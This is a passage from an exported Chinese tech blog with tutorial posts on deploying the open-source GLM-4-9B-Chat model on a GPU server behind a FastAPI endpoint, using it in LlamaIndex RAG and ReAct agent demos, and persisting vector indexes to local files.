\u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: user_msg}) 59 if model_msg: 60 messages.append({\u0026#34;role\u0026#34;: \u0026#34;assistant\u0026#34;, \u0026#34;content\u0026#34;: model_msg}) 61 model_inputs = tokenizer.apply_chat_template( 62 messages, 63 add_generation_prompt=True, 64 tokenize=True, 65 return_tensors=\u0026#34;pt\u0026#34; 66 ).to(model.device) 67 streamer = TextIteratorStreamer( 68 tokenizer=tokenizer, 69 timeout=60, 70 skip_prompt=True, 71 skip_special_tokens=True 72 ) 73 generate_kwargs = { 74 \u0026#34;input_ids\u0026#34;: model_inputs, 75 \u0026#34;streamer\u0026#34;: streamer, 76 \u0026#34;max_new_tokens\u0026#34;: max_length, 77 \u0026#34;do_sample\u0026#34;: False, # 改为 False 78 \u0026#34;top_p\u0026#34;: top_p, 79 \u0026#34;temperature\u0026#34;: temperature, 80 \u0026#34;stopping_criteria\u0026#34;: StoppingCriteriaList([stop]), 81 \u0026#34;repetition_penalty\u0026#34;: 1.2, 82 \u0026#34;eos_token_id\u0026#34;: model.config.eos_token_id, 83 } 84 try: 85 t = Thread(target=model.generate, kwargs=generate_kwargs) 86 t.start() 87 print(\u0026#34;GLM-4:\u0026#34;, end=\u0026#34;\u0026#34;, flush=True) 88 for new_token in streamer: 89 if new_token: 90 print(new_token, end=\u0026#34;\u0026#34;, flush=True) 91 history[-1][1] += new_token 92 except Exception as e: 93 print(f\u0026#34;An error occurred: {e}\u0026#34;) 94 print(f\u0026#34;Error type: {type(e)}\u0026#34;) 95 import traceback 96 traceback.print_exc() 97 98 history[-1][1] = history[-1][1].strip() 注意以上代码和 GLM 官方提供的可能不太一样，因为官方的有的报错，所以我略为修改了一下。\n直接运行 trans_cli_demo.py 就可以和模型交互了\n利用 FastApi 调用模型 运行以下代码创建并启动 Api 服务：\n运行 python api.py\n1from fastapi import FastAPI, Request 2from transformers import AutoTokenizer, AutoModelForCausalLM 3import uvicorn 4import json 5import datetime 6import torch 7 8# 设置设备参数 9DEVICE = \u0026#34;cuda\u0026#34; # 使用CUDA 10DEVICE_ID = \u0026#34;0\u0026#34; # CUDA设备ID，如果未设置则为空 11CUDA_DEVICE = f\u0026#34;{DEVICE}:{DEVICE_ID}\u0026#34; if DEVICE_ID else DEVICE # 组合CUDA设备信息 12 13# 清理GPU内存函数 14def torch_gc(): 15 if torch.cuda.is_available(): # 检查是否可用CUDA 16 with torch.cuda.device(CUDA_DEVICE): # 指定CUDA设备 17 torch.cuda.empty_cache() # 清空CUDA缓存 18 torch.cuda.ipc_collect() # 收集CUDA内存碎片 19 20# 创建FastAPI应用 21app = FastAPI() 22 23# 处理POST请求的端点 24@app.post(\u0026#34;/\u0026#34;) 25async def create_item(request: Request): 26 global model, tokenizer # 声明全局变量以便在函数内部使用模型和分词器 27 json_post_raw = await request.json() # 获取POST请求的JSON数据 28 json_post = json.dumps(json_post_raw) # 将JSON数据转换为字符串 29 json_post_list = json.loads(json_post) # 将字符串转换为Python对象 30 prompt = json_post_list.get(\u0026#39;prompt\u0026#39;) # 获取请求中的提示 31 history = json_post_list.get(\u0026#39;history\u0026#39;) # 获取请求中的历史记录 32 max_length = json_post_list.get(\u0026#39;max_length\u0026#39;, 2048) # 获取请求中的最大长度 33 top_p = json_post_list.get(\u0026#39;top_p\u0026#39;, 0.7) # 获取请求中的top_p参数 34 temperature = json_post_list.get(\u0026#39;temperature\u0026#39;, 0.95) # 获取请求中的温度参数 35 36 # 准备输入 37 messages = [] 38 if history: 39 for h in history: 40 messages.append({\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: h[0]}) 41 messages.append({\u0026#34;role\u0026#34;: \u0026#34;assistant\u0026#34;, \u0026#34;content\u0026#34;: h[1]}) 42 messages.append({\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: prompt}) 43 44 input_ids = tokenizer.apply_chat_template(messages, return_tensors=\u0026#34;pt\u0026#34;).to(model.device) 45 46 # 生成回复 47 with torch.no_grad(): 48 outputs = model.generate( 49 input_ids, 50 max_new_tokens=max_length, 51 do_sample=True, 52 top_p=top_p, 53 temperature=temperature, 54 ) 55 56 response = tokenizer.decode(outputs[0][input_ids.shape[1]:], skip_special_tokens=True) 57 58 now = datetime.datetime.now() # 获取当前时间 59 time = now.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) # 格式化时间为字符串 60 # 构建响应JSON 61 answer = { 62 \u0026#34;response\u0026#34;: response, 63 \u0026#34;history\u0026#34;: history + [[prompt, response]], 64 \u0026#34;status\u0026#34;: 200, 65 \u0026#34;time\u0026#34;: time 66 } 67 # 构建日志信息 68 log = \u0026#34;[\u0026#34; + time + \u0026#34;] \u0026#34; + \u0026#39;\u0026#34;, prompt:\u0026#34;\u0026#39; + prompt + \u0026#39;\u0026#34;, response:\u0026#34;\u0026#39; + repr(response) + \u0026#39;\u0026#34;\u0026#39; 69 print(log) # 打印日志 70 torch_gc() # 执行GPU内存清理 71 return answer # 返回响应 72 73# 主函数入口 74if __name__ == \u0026#39;__main__\u0026#39;: 75 # 加载预训练的分词器和模型 76 tokenizer = AutoTokenizer.from_pretrained(\u0026#34;/root/autodl-tmp/ZhipuAI/glm-4-9b-chat\u0026#34;, trust_remote_code=True) 77 model = AutoModelForCausalLM.from_pretrained( 78 \u0026#34;/root/autodl-tmp/ZhipuAI/glm-4-9b-chat\u0026#34;, 79 torch_dtype=torch.bfloat16, 80 trust_remote_code=True, 81 device_map=\u0026#34;auto\u0026#34;, 82 ) 83 model.eval() # 设置模型为评估模式 84 # 启动FastAPI应用 85 # 用6006端口可以将autodl的端口映射到本地，从而在本地使用api 86 uvicorn.run(app, host=\u0026#39;0.0.0.0\u0026#39;, port=6006, workers=1) # 在指定端口和主机上启动应用 测试服务\n1curl -X POST \u0026#34;http://127.0.0.1:6006\u0026#34; \\ 2 -H \u0026#39;Content-Type: application/json\u0026#39; \\ 3 -d \u0026#39;{\u0026#34;prompt\u0026#34;: \u0026#34;你好\u0026#34;, \u0026#34;history\u0026#34;: []}\u0026#39; 4 利用 FastApi 同样可以测试模型的调用和交互。\n注意，以上代码你可能会在网络上找到类似的，我在最开始使用那些代码的时候报各种错，原因大概包括模型和代码版本不兼容，组件库版本问题等。所以以上代码是经过我的修改之后可运行的代码\nRAG 在之前的文章中\n提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型\nLlamaIndex 实战解析 提升RAG应用性能：使用智谱AI的GLM-4和Embedding-3模型优化文档检索\nMilvus实战：如何用一个数据库提升你的AI项目性能\n我们通过 Ollama 在笔记本电脑上部署过大模型，通过大模型产品的 API 调用过大模型 ，唯独没有在服务器上私有化部署一个大模型。\n前文我们已经在服务器上部署好了大模型 glm-4-9b-chat 这是一个拥有 90 亿参数的模型。下面我们介绍如何在 llamaindex 中调用它。\n很简单，首先我们还是先自定义一个LLM ，参考以下代码：\n1import logging 2from typing import Any, List, Optional 3from llama_index.core.llms import ( 4 CustomLLM, 5 CompletionResponse, 6 CompletionResponseGen, 7 LLMMetadata, 8) 9from llama_index.core.llms.callbacks import llm_completion_callback 10from transformers import AutoTokenizer, AutoModelForCausalLM 11import torch 12 13# 设置日志 14logging.basicConfig(level=logging.DEBUG) 15logger = logging.getLogger(__name__) 16 17class LocalGLM4(CustomLLM): 18 19 context_window: int = 8192 # 默认上下文窗口大小 20 num_output: int = 2048 # 默认输出的token数量 21 model_name: str = \u0026#34;glm-4-9b-chat\u0026#34; # 模型名称 22 tokenizer: object = None # 分词器 23 model: object = None # 模型 24 25 def __init__(self, pretrained_model_name_or_path: str): 26 super().__init__() 27 28 # GPU方式加载模型 29 self.tokenizer = AutoTokenizer.from_pretrained( 30 pretrained_model_name_or_path, trust_remote_code=True 31 ) 32 self.model = AutoModelForCausalLM.from_pretrained( 33 pretrained_model_name_or_path, 34 torch_dtype=torch.float16, # 或者使用 torch.bfloat16 35 low_cpu_mem_usage=True, 36 trust_remote_code=True, 37 device_map=\u0026#34;auto\u0026#34;, 38 ) 39 40 # CPU方式加载模型 41 # self.tokenizer = AutoTokenizer.from_pretrained(pretrained_model_name_or_path, device_map=\u0026#34;cpu\u0026#34;, trust_remote_code=True) 42 # self.model = AutoModelForCausalLM.from_pretrained(pretrained_model_name_or_path, device_map=\u0026#34;cpu\u0026#34;, trust_remote_code=True) 43 # self.model = self.model.float() 44 45 # 尝试获取模型的实际上下文窗口大小 46 if hasattr(self.model.config, \u0026#39;seq_length\u0026#39;): 47 self.context_window = self.model.config.seq_length 48 elif hasattr(self.model.config, \u0026#39;max_position_embeddings\u0026#39;): 49 self.context_window = self.model.config.max_position_embeddings 50 logger.info(f\u0026#34;Using context window size: {self.context_window}\u0026#34;) 51 52 @property 53 def metadata(self) -\u0026gt; LLMMetadata: 54 \u0026#34;\u0026#34;\u0026#34;Get LLM metadata.\u0026#34;\u0026#34;\u0026#34; 55 # 得到LLM的元数据 56 return LLMMetadata( 57 context_window=self.context_window, 58 num_output=self.num_output, 59 model_name=self.model_name, 60 ) 61 62 @llm_completion_callback() 63 def complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponse: 64 # 完成函数 65 print(\u0026#34;完成函数\u0026#34;) 66 67 inputs = self.tokenizer.encode(prompt, return_tensors=\u0026#34;pt\u0026#34;).cuda() # GPU方式 68 # inputs = self.tokenizer.encode(prompt, return_tensors=\u0026#39;pt\u0026#39;) # CPU方式 69 outputs = self.model.generate(inputs, max_length=self.num_output) 70 response = self.tokenizer.decode(outputs[0]) 71 return CompletionResponse(text=response) 72 73 @llm_completion_callback() 74 def stream_complete(self, prompt: str, **kwargs: Any) -\u0026gt; CompletionResponseGen: 75 # 流式完成函数 76 print(\u0026#34;流式完成函数\u0026#34;) 77 78 inputs = self.tokenizer.encode(prompt, return_tensors=\u0026#34;pt\u0026#34;).cuda() # GPU方式 79 # inputs = self.tokenizer.encode(prompt, return_tensors=\u0026#39;pt\u0026#39;) # CPU方式 80 outputs = self.model.generate(inputs, max_length=self.num_output) 81 response = self.tokenizer.decode(outputs[0]) 82 for token in response: 83 yield CompletionResponse(text=token, delta=token) 剩下的步骤跟之前的调用方式、代码编程模型几乎没有任何区别：\n1 embed_model_path = \u0026#34;/root/autodl-tmp/BAAI/bge-base-zh-v1.5\u0026#34; 2 pretrained_model_name_or_path = r\u0026#34;/root/autodl-tmp/ZhipuAI/glm-4-9b-chat\u0026#34; 3 4 # 设置LLM和嵌入模型 5 logger.info(\u0026#34;Setting up LLM and embedding model\u0026#34;) 6 Settings.llm = LocalGLM4(pretrained_model_name_or_path) 7 Settings.embed_model = HuggingFaceEmbedding( 8 model_name=f\u0026#34;{embed_model_path}\u0026#34;, device=\u0026#34;cuda\u0026#34; 9 ) 10 11 # 从指定目录加载文档数据 12 logger.info(\u0026#34;Loading documents\u0026#34;) 13 documents = SimpleDirectoryReader(input_files=[\u0026#34;./data/sample.txt\u0026#34;]).load_data() 14 15 # 创建索引和查询引擎 16 logger.info(\u0026#34;Creating index and query engine\u0026#34;) 17 index = VectorStoreIndex.from_documents(documents) 18 query_engine = index.as_query_engine(streaming=False) 19 20 # 执行查询 21 logger.info(\u0026#34;Executing query\u0026#34;) 22 response = query_engine.query(query) 23 24 # 处理并输出响应 25 if hasattr(response, \u0026#34;response_gen\u0026#34;): 26 # 流式输出 27 for text in response.response_gen: 28 print(text, end=\u0026#34;\u0026#34;, flush=True) 29 sys.stdout.flush() # 确保立即输出 30 else: 31 # 非流式输出 32 print(response.response, end=\u0026#34;\u0026#34;, flush=True) 相关代码可以在这里查看：https://github.com/xiaobox/llamaindex_test\n总结 利用租用的 GPU 资源部署了开源大模型 glm-4-9b-chat ，通过熟悉部署方式和流程，你可以照猫画虎部署其他开源模型。接着我们将之前 RAG 项目中对LLM的调用改为服务器部署的本地开源模型，实现了模型和调用的私有化。希望这篇文章能够帮助到有类似需求的朋友。\n","date":"2024-10-21T07:40:42Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-21-ru-he-zai-fu-wu-qi-shang-bu-shu-kai-yuan-da-mo-xing-glm-4-9b/cover.jpg","permalink":"/p/2024-10-21-ru-he-zai-fu-wu-qi-shang-bu-shu-kai-yuan-da-mo-xing-glm-4-9b/","title":"如何在服务器上部署开源大模型 GLM-4-9B-Chat  并应用到RAG应用中"},{"content":"agent 是什么? 打开市面上流行的AIGC应用，agent 几乎是必备的功能。agent到底是什么呢？\n我们先从字面意思理解，看看各家公司做的产品是如何定义 agent 的。\n智谱清言 （https://chatglm.cn） 将 agent 定义为 “智能体”\n通义千问 （https://tongyi.aliyun.com/）将 agent 定义为 “智能体”\nKimi （https://kimi.moonshot.cn/）将 agent 定义为 “私人助理”\n扣子（https://www.coze.cn/） 将 agent 定义为 “智能体”\n文心一言 （https://yiyan.baidu.com/） 将 agent 定义为 “智能体” (无图，拿来凑数)\nagent 从英文直译过来是 “代理”，但从国内各AIGIC的产品定义来看，绝大多数公司将 agent 定义为了 “智能体”\n好，我们再进一步，那什么是智能体呢？\n从 “智能体” 使用者的角度看，“智能体” 就像专门完成某一类任务的机器人。智能体的设计目的其实就是为了实现特定的目标或完成特定的任务。\n它像是一个专家一样，专门解决某一类的问题，用医生做比喻，agent就像一个专科大夫，比如骨科大夫，只能看骨科相关的病，而大模型LLM 像是一个全科大夫，什么病都能看。\n从设计上不一样，使用上自然就要有所区别，比如你要处理和计算复杂的数学公式，那么向专门为解决这类问题而设计的 “智能体” 提问就比直接向LLM 提问得到的答案要准确。\nagent 的创建和使用 我们以 智谱清言 举例，下图是在创建 “智能体” 时的设置页面内容，可以看到有不少的配置。这里面，我要说两个重要的配置。\n第一个重要的配置是：“配置信息”\n看上图你是否觉得很熟悉，是的，如果你看过我之前的文章，就会注意到，这不就是 \u0026ldquo;prompt\u0026rdquo; 吗？准确地来说是 system prompt 和 role prompt\n所以，在我最初的认识里，agent 或者叫 “智能体” 简直就是一个 \u0026ldquo;prompt engineering\u0026rdquo; 的产物，只需要把 “提示词” 写好，就能创建好一个 agent 了。后来，我了解到，提示词工程确实很重要，但 agent 并不是只包括设置提示词 。\n除了上图所示的 “联网能力”、“代码能力” 这些显而易见的功能外。另一个重要的配置就是 “知识库” 。加上知识库后，实际上这就是一个 RAG 应用了。这会让 agent 本身外挂一个我们自己上传的知识库，让它学习了我们上传的“知识” 后，再接受提问，就可以更准备地做出回答。\nLlamaIndex demo 用 LlamaIndex 实现一个简单的 agent demo 比较容易，看一下具体的代码实现：\n1import sys 2import os 3 4sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \u0026#34;..\u0026#34;, \u0026#34;..\u0026#34;))) 5 6from llama_index.core.agent import ReActAgent 7from llama_index.core.tools import FunctionTool 8from llamaindex_demo.custom.custom_llm_glm import GLM4LLM 9 10def multiply(a: float, b: float) -\u0026gt; float: 11 \u0026#34;\u0026#34;\u0026#34;Multiply two numbers and returns the product\u0026#34;\u0026#34;\u0026#34; 12 return a * b 13 14def add(a: float, b: float) -\u0026gt; float: 15 \u0026#34;\u0026#34;\u0026#34;Add two numbers and returns the sum\u0026#34;\u0026#34;\u0026#34; 16 return a + b 17 18def main(): 19 20 multiply_tool = FunctionTool.from_defaults(fn=multiply) 21 add_tool = FunctionTool.from_defaults(fn=add) 22 23 # 使用GLM-4 Plus模型 24 llm = GLM4LLM() 25 # 创建ReActAgent实例 26 agent = ReActAgent.from_tools([multiply_tool, add_tool], llm=llm, verbose=True) 27 28 response = agent.chat(\u0026#34;20+（2*4）等于多少？使用工具计算每一步\u0026#34;) 29 30 print(response) 31 32if __name__ == \u0026#34;__main__\u0026#34;: 33 main() LLM 上，我们继续使用之前文章中使用过的 GLM。\n我们看一下它的输出\n可以看出，它将提问中的计算步骤分别利用了我们自定义的函数 add 和 multiply ，而不是走大模型。挺有意思的吧，我们可以自定义 agent 中的某些处理流程。除了使用 prompt 外，我们的控制权更大了。\nRag demo 这个 demo 我们来看一下如何把rag 集成到 agent中。也很简单，我们直接上代码：\n1import os 2import sys 3import re 4 5sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \u0026#34;..\u0026#34;, \u0026#34;..\u0026#34;))) 6 7from llama_index.core.agent import ReActAgent 8from llama_index.core.tools import FunctionTool 9from llama_index.core.tools import QueryEngineTool 10from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings 11from llamaindex_demo import logger 12from llamaindex_demo.custom.custom_llm_glm import GLM4LLM 13from llamaindex_demo.custom.custom_embedding_zhipu import ZhipuEmbeddings 14from llama_parse import LlamaParse 15 16# 设置环境变量，禁用tokenizers的并行处理 17os.environ[\u0026#34;TOKENIZERS_PARALLELISM\u0026#34;] = \u0026#34;false\u0026#34; 18 19def toHtml(text: str) -\u0026gt; str: 20 \u0026#34;\u0026#34;\u0026#34;遇到英文单词就用html标签包裹\u0026#34;\u0026#34;\u0026#34; 21 return re.sub(r\u0026#34;(\\b[a-zA-Z]+\\b)\u0026#34;, r\u0026#39;\u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;\\1\u0026lt;/span\u0026gt;\u0026#39;, text) 22 23def run_glm4_query_with_embeddings(query: str): 24 # 从指定目录加载文档数据 25 documents = SimpleDirectoryReader(input_files=[\u0026#34;./data/sample.txt\u0026#34;]).load_data() 26 27 # 设置LLM和嵌入模型 28 Settings.llm = GLM4LLM() 29 Settings.embed_model = ZhipuEmbeddings() 30 31 # 创建索引和查询引擎 show_progress=True 显示 embedding 进度 32 index = VectorStoreIndex.from_documents(documents, show_progress=True) 33 34 query_engine = index.as_query_engine(streaming=True) 35 36 yc_tool = QueryEngineTool.from_defaults( 37 query_engine, 38 #name=\u0026#34;YC 创始人的个人经理\u0026#34;, 39 #description=\u0026#34;关于YC创始人Paul Graham的RAG引擎\u0026#34;, 40 ) 41 42 to_html_tool = FunctionTool.from_defaults(fn=toHtml) 43 44 agent = ReActAgent.from_tools( 45 [to_html_tool,yc_tool], 46 verbose=True, 47 ) 48 49 # 执行查询 50 logger.info(\u0026#34;agent 查询结果：\u0026#34;) 51 response = agent.chat(query) 52 53 print(response) 54 55 logger.info(\u0026#34;\\n查询完成\u0026#34;) 56 57def main(): 58 run_glm4_query_with_embeddings(\u0026#34;请描述一下作者的求学经历，并将英文用html高亮显示\u0026#34;) 59 60if __name__ == \u0026#34;__main__\u0026#34;: 61 main() 可以看到，yc_tool 是我们通过加载本地文件自定义的一个RAG 应用，然后我们把它加入到 agent的 from tools中。\n以下是加入 RAG 以后的 agent 的输出\n1INFO:llamaindex_demo.config:agent 查询结果： 2\u0026gt; Running step 28bfc6bb-5e8a-4d5b-8273-36791b222a90. Step input: 请描述一下作者的求学经历，并将英文用html高亮显示 3INFO:httpx:HTTP Request: POST https://open.bigmodel.cn/api/paas/v4/chat/completions \u0026#34;HTTP/1.1 200 OK\u0026#34; 4Thought: The current language of the user is: Chinese. I need to use a tool to help me answer the question. 5Action: query_engine_tool 6Action Input: {\u0026#39;input\u0026#39;: \u0026#39;请描述一下作者的求学经历\u0026#39;} 7INFO:httpx:HTTP Request: POST https://open.bigmodel.cn/api/paas/v4/embeddings \u0026#34;HTTP/1.1 200 OK\u0026#34; 8INFO:httpx:HTTP Request: POST https://open.bigmodel.cn/api/paas/v4/chat/completions \u0026#34;HTTP/1.1 200 OK\u0026#34; 9Observation: 作者的求学经历可以概括如下： 10 111. **研究生阶段**： 12 - 作者最初在研究生院学习，但似乎对所选主题（连续性应用程序）并不满意，认为应该选择更有探索空间的宏和嵌入式语言。 13 - 作者的主要目标是尽快完成学业，摆脱研究生院。 14 152. **申请艺术学校**： 16 - 在研究生期间，作者同时申请了美国的罗德岛设计学院（RISD）和意大利佛罗伦萨的Accademia di Belli Arti。 17 - RISD录取了作者，而Accademia di Belli Arti的回复因邮寄错误延迟。 18 193. **在RISD的学习**： 20 - 作者被RISD视为转学二年级生，需要在夏季完成基础课程，包括绘画、色彩和设计等。 21 - 尽管如此，作者在基础课程中表现不错。 22 23...... 24 25总体来说，作者的求学经历充满了探索和转变，从研究生院的学术研究到艺术学校的实践学习，再到通过个人项目和工作的经济独立，展现了其对知识和职业发展的不断追求和反思。 26\u0026gt; Running step c8f8eee2-ab9b-45c9-a05e-6136f688cae3. Step input: None 27INFO:httpx:HTTP Request: POST https://open.bigmodel.cn/api/paas/v4/chat/completions \u0026#34;HTTP/1.1 200 OK\u0026#34; 28Thought: The current language of the user is: Chinese. I need to use a tool to help me highlight the English words in the provided text. 29Action: toHtml 30Action Input: {\u0026#39;text\u0026#39;: \u0026#39;作者的求学经历可以概括如下：\\n\\n1. **研究生阶段**：\\n - 作者最初在研究生院学习，但似乎对所选主题（连续性应用程序）并不满意，认为应该选择更有探索空间的宏和嵌入式语言。\\n - 作者的主要目标是尽快完成学业，摆脱研究生院。\\n\\n2. **申请艺术学校**：\\n - 在研究生期间，作者同时申请了美国的罗德岛设计学院（RISD）和意大利佛罗伦萨的Accademia di Belli Arti。\\n - RISD录取了作者，而Accademia di Belli Arti的回复因邮寄错误延迟。\\n\\n3. **在RISD的学习**：\\n - 作者被RISD视为转学二年级生，需要在夏季完成基础课程，包括绘画、色彩和设计等。\\n - 尽管如此，作者在基础课程中表现不错。\\n\\n4. **意外的Accademia邀请**：\\n - 夏末时，作者意外收到Accademia的入学考试邀请，决定前往佛罗伦萨。\\n - 作者通过节俭生活和之前的咨询工作积蓄，勉强支付了生活和学习的费用。\\n\\n5. **在Accademia的学习**：\\n - 作者发现Accademia的绘画系存在一种默契，即学生和教职员工互不干涉，维持着19世纪工作室的传统。\\n - 这种教育模式让作者感到失望。\\n\\n6. **秘密项目与经济独立**：\\n - 在Accademia期间，作者秘密从事《论Lisp》的工作，并获得了出版合同和一笔可观的收入。\\n - 这笔收入帮助作者还清了大学贷款，并积攒了回RISD的费用。\\n\\n7. **在Interleaf的工作经历**：\\n - 作者在Interleaf公司学到了许多关于科技公司的管理和技术开发的见解。\\n - 最重要的是，作者领悟到“低端吞噬高端”的市场策略。\\n\\n8. **回到RISD**：\\n - 作者在秋季回到RISD继续学习，发现真正的艺术学校与Accademia没有太大不同。\\n - 作者观察到绘画系的教育相对松散，而其他系如纺织、插画和建筑则更为严格。\\n\\n总体来说，作者的求学经历充满了探索和转变，从研究生院的学术研究到艺术学校的实践学习，再到通过个人项目和工作的经济独立，展现了其对知识和职业发展的不断追求和反思。\u0026#39;} 31Observation: 作者的求学经历可以概括如下： 32 331. **研究生阶段**： 34 - 作者最初在研究生院学习，但似乎对所选主题（连续性应用程序）并不满意，认为应该选择更有探索空间的宏和嵌入式语言。 35 - 作者的主要目标是尽快完成学业，摆脱研究生院。 36 372. **申请艺术学校**： 38 - 在研究生期间，作者同时申请了美国的罗德岛设计学院（\u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;RISD\u0026lt;/span\u0026gt;）和意大利佛罗伦萨的Accademia \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;di\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Belli\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Arti\u0026lt;/span\u0026gt;。 39 - RISD录取了作者，而Accademia \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;di\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Belli\u0026lt;/span\u0026gt; Arti的回复因邮寄错误延迟。 40 413. **在RISD的学习**： 42 - 作者被RISD视为转学二年级生，需要在夏季完成基础课程，包括绘画、色彩和设计等。 43 - 尽管如此，作者在基础课程中表现不错。 44 45...... 46 47总体来说，作者的求学经历充满了探索和转变，从研究生院的学术研究到艺术学校的实践学习，再到通过个人项目和工作的经济独立，展现了其对知识和职业发展的不断追求和反思。 48\u0026gt; Running step 649456af-f363-47c9-bd06-3c36d1ff48c6. Step input: None 49INFO:httpx:HTTP Request: POST https://open.bigmodel.cn/api/paas/v4/chat/completions \u0026#34;HTTP/1.1 200 OK\u0026#34; 50Thought: I can answer without using any more tools. I\u0026#39;ll use the user\u0026#39;s language to answer. 51Answer: 作者的求学经历可以概括如下： 52 531. **研究生阶段**： 54 - 作者最初在研究生院学习，但似乎对所选主题（连续性应用程序）并不满意，认为应该选择更有探索空间的宏和嵌入式语言。 55 - 作者的主要目标是尽快完成学业，摆脱研究生院。 56 572. **申请艺术学校**： 58 - 在研究生期间，作者同时申请了美国的罗德岛设计学院（\u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;RISD\u0026lt;/span\u0026gt;）和意大利佛罗伦萨的Accademia \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;di\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Belli\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Arti\u0026lt;/span\u0026gt;。 59 - RISD录取了作者，而Accademia \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;di\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Belli\u0026lt;/span\u0026gt; Arti的回复因邮寄错误延迟。 60 613. **在RISD的学习**： 62 - 作者被RISD视为转学二年级生，需要在夏季完成基础课程，包括绘画、色彩和设计等。 63 - 尽管如此，作者在基础课程中表现不错。 64 65...... 66 67总体来说，作者的求学经历充满了探索和转变，从研究生院的学术研究到艺术学校的实践学习，再到通过个人项目和工作的经济独立，展现了其对知识和职业发展的不断追求和反思。 68作者的求学经历可以概括如下： 69 701. **研究生阶段**： 71 - 作者最初在研究生院学习，但似乎对所选主题（连续性应用程序）并不满意，认为应该选择更有探索空间的宏和嵌入式语言。 72 - 作者的主要目标是尽快完成学业，摆脱研究生院。 73 742. **申请艺术学校**： 75 - 在研究生期间，作者同时申请了美国的罗德岛设计学院（\u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;RISD\u0026lt;/span\u0026gt;）和意大利佛罗伦萨的Accademia \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;di\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Belli\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Arti\u0026lt;/span\u0026gt;。 76 - RISD录取了作者，而Accademia \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;di\u0026lt;/span\u0026gt; \u0026lt;span style=\u0026#34;color:red;\u0026#34;\u0026gt;Belli\u0026lt;/span\u0026gt; Arti的回复因邮寄错误延迟。 77 783. **在RISD的学习**： 79 - 作者被RISD视为转学二年级生，需要在夏季完成基础课程，包括绘画、色彩和设计等。 80 - 尽管如此，作者在基础课程中表现不错。 81 82...... 83 84总体来说，作者的求学经历充满了探索和转变，从研究生院的学术研究到艺术学校的实践学习，再到通过个人项目和工作的经济独立，展现了其对知识和职业发展的不断追求和反思。 85INFO:llamaindex_demo.config: 86查询完成 可以看出，在它的思考过程中，应用了我们的 toHtml 方法，将英文单词就用html标签包裹。\nagent 记忆 agent 还有记忆的功能，也就是说之前问过的问题，它会记得，比如我们在一个流程中发起了多次提问\nagent 不会把每次的提问当做一个独立提问，它是知道上下文的，这就是它的记忆功能。\n附录 附上之前文章的链接方便查阅：\n如何用 30秒和 5 行代码写个 RAG 应用？\n提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析\n提升RAG应用性能：使用智谱AI的GLM-4和Embedding-3模型优化文档检索\nMilvus实战：如何用一个数据库提升你的AI项目性能\n","date":"2024-10-14T10:13:28Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-14-ru-he-yong-llamaindex-shi-xian-agent/cover.jpg","permalink":"/p/2024-10-14-ru-he-yong-llamaindex-shi-xian-agent/","title":"如何用 LlamaIndex 实现 agent"},{"content":"回顾 在上一文中我们使用 LlamaIndex 整合 智谱 AI 的 GLM-4 和 Embedding-3 模型一起构建 RAG 应用。\n在上篇文章的最后，我们发现因为 Embedding-3 模型是同步调用的，所以从测试效果看比较慢。每一次运行都产生了大量的 http 同步请求。文末我说解决的办法可以在本地部署一个开源的 embedding 模型，这样就不会产生远程的 http 调用了，而且也比较省钱。\n这是个办法，但实际上还有其他的好办法。\n我们可以将 文档通过 embedding 模型产生的向量存储起来，这样相同的文档，只有在第一次 embedding 时会慢一些，再次检索时，可以快速地将已经保存好的向量查询出来使用。\n本地文件存储 利用 LlamaIndex 的 API ，我们可以非常方便地把向量存储到本地文件，以下是一个例子，我把向量存储到项目的 index目录下：\n1def load_or_create_index(): 2 3 # 检查是否存在有效的持久化索引 4 if ( 5 os.path.exists(\u0026#34;index\u0026#34;) 6 and os.path.isdir(\u0026#34;index\u0026#34;) 7 and any(file.endswith(\u0026#34;.json\u0026#34;) for file in os.listdir(\u0026#34;index\u0026#34;)) 8 ): 9 print(\u0026#34;正在加载现有索引。..\u0026#34;) 10 storage_context = StorageContext.from_defaults(persist_dir=\u0026#34;index\u0026#34;) 11 index = load_index_from_storage(storage_context) 12 else: 13 print(\u0026#34;未找到有效的现有索引，正在创建新索引。..\u0026#34;) 14 # 使用预定义的 DATA_DIR 常量 15 documents = SimpleDirectoryReader(\u0026#34;./data\u0026#34;).load_data() 16 # 创建新索引，显示 embedding 进度 17 index = VectorStoreIndex.from_documents(documents, show_progress=True) 18 # 持久化索引 19 index.storage_context.persist(persist_dir=\u0026#34;index\u0026#34;) 20 print(\u0026#34;索引已创建并保存到本地。\u0026#34;) 21 22 return index 